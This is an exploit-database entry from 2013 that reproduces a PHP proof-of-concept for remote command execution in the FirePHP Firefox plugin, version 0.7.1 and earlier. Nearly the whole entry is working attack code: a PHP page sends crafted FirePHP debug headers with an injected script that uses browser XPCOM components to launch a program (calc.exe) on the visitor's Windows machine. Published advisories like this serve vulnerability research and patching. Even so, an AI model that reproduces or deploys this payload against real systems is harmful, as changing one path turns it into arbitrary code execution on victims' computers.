发布 2013-04-17 漏洞条目

FirePHP Firefox Plugin 0.7.1 – Remote Command Execution

Exploit Source

# Exploit Title: Firephp firefox plugin RCE

# Date: 17/04/2013

# Exploit Author: Wireghoul

# Vendor Homepage: www.firephp.org

# Software Link:

https://addons.mozilla.org/en-US/firefox/addon/firephp/versions/

# Version: All versions up to and including 0.7.1

# Tested on: Windows 7

# Advisory: http://www.justanotherhacker.com/advisories/JAHx132.txt

<?php

/*************************************************************

* FirePHP Firefox plugin RCE PoC *

* Written by Wireghoul - http://www.justanotherhacker.com *

* Greetz to @bcoles urbanadventurer @malerisch *

*************************************************************/

// XUL code to launch calc.exe

$exploit = '{"RequestHeaders":{"1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","UR<script>';

$exploit.= 'var lFile=Components.classes[\"@mozilla.org/file/local;1\"].createInstance(Components.interfaces.nsILocalFile);';

$exploit.= 'lFile.initWithPath(\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\calc.exe\");';

$exploit.= 'var process=Components.classes[\"@mozilla.org/process/util;1\"].createInstance(Components.interfaces.nsIProcess);';

$exploit.= 'process.init(lFile);';

$exploit.= 'process.run(true,[],0);void(0);';

$exploit.= '<\/SCRIPT>":"PWNT"}}';

// Send FirePHP dump data

header("X-Wf-Protocol-1: http://meta.wildfirehq.org/Protocol/JsonStream/0.2");

header("X-Wf-1-Plugin-1: http://meta.firephp.org/Wildfire/Plugin/FirePHP/Library-FirePHPCore/0.3");

header("X-Wf-1-Structure-1: http://meta.firephp.org/Wildfire/Structure/FirePHP/Dump/0.1");

$payload= "X-Wf-1-1-1-1: ";

$payload.= strlen($exploit).'|'.$exploit."|\r\n";

header($payload);

<html>

<head>

<title>FirePHP Firefox plugin RCE PoC</title>

</head>

<body>

PWNT!

</body>

</html>

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